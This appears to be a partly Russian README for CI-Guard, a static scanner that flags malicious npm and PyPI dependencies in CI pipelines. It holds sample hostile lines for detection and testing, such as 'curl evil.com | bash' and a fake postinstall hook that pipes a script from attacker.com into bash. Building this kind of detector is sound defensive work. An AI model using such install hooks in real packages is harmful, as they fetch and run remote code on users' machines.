Инструмент статического анализа, который обнаруживает вредоносные зависимости в CI/CD-пайплайнах с помощью сопоставления шаблонов и анализа AST, используя систему оценки рисков по принципу светофора и необязательную верификацию в Docker-песочнице.
Инструмент статического анализа для выявления вредоносных зависимостей в CI/CD пайплайнах до их слияния с вашей кодовой базой.
Автор: Otsmane Ahmed
Статус: Исследовательский прототип v1.0
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
```bash
# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# 2. Scan a package directory
python3 main_guard.py /path/to/package
Инструмент выводит вердикт: SAFE, или .
SUSPICIOUSBLOCKEDЕсли вы скачали пакет из npm или PyPI и хотите проверить его безопасность:
# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
Проверьте пакеты, уже установленные в вашем проекте:
# Scan all npm packages
python3 main_guard.py ./node_modules
# Scan a specific Python package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Примечание: Сканирование больших директорий, таких как node_modules, займет больше времени. Для более быстрых результатов сканируйте отдельные пакеты.
Пример workflow GitHub Actions:
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
Пайплайн завершится ошибкой (код выхода 1), если будет обнаружен вредоносный код.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
Вредоносных паттернов не обнаружено.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
Обнаружены опасные паттерны (например, внедрение команд, кража учетных данных). Не устанавливайте этот пакет.
Пакеты с оценкой 10 и выше автоматически блокируются.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
Обнаружены вызывающие беспокойство паттерны. Если Docker запущен, пакет будет проверен в изолированной песочнице для верификации. Рекомендуется ручная проверка.
| Тип атаки | Пример | Статус |
|---|---|---|
| Внедрение команд оболочки | curl evil.com | bash | Обнаружено |
| Кража учетных данных | Чтение process.env и отправка на внешний сервер | Обнаружено |
| Обфускация кода | eval(atob('base64...')) | Обнаружено |
| Вредоносные скрипты установки | Хуки postinstall NPM | Обнаружено |
| Бинарные файлы | .exe, .dll в пакетах | Обнаружено |
| Тайпсквоттинг | Имена, схожие с популярными пакетами | Требуется ручная проверка |
Вы можете протестировать CI-Guard, создав пример вредоносного пакета:
# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious
# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
Ожидаемый вывод:
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| Экосистема | Протестировано пакетов | Уровень обнаружения |
|---|---|---|
| NPM | 15 059 | 89.6% |
| PyPI | 2 257 | 82.2% |
Среднее время сканирования: 1-3 секунды на пакет (только статический анализ).
Можно ли сканировать уже установленные пакеты?
Да. Укажите CI-Guard на вашу директорию node_modules или site-packages Python:
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Что делать, если легитимный пакет был помечен?
CI-Guard перестраховывается. Если вы доверяете помеченному пакету:
analyzer/static_scanner.pyРаботает ли это на Windows и macOS?
Да. Python и Docker кроссплатформенны.
Нужен ли установленный Docker?
Docker требуется только для пакетов с оценкой 4-9 (подозрительные). Большинство пакетов либо явно безопасны (0-3), либо явно вредоносны (10+).
CI-Guard использует трехуровневую систему «светофора»:
Методы обнаружения:
Приветствуются pull request'ы. Чтобы добавить новое правило обнаружения:
Отредактируйте analyzer/static_scanner.py и добавьте в список RULES:
{
"id": "SA-XXX",
"name": "Rule Name",
"pattern": r"regex_pattern",
"weight": 8 # Score contribution (1-10)
}
Лицензия MIT – подробности в файле LICENSE.
Otsmane Ahmed – GitHub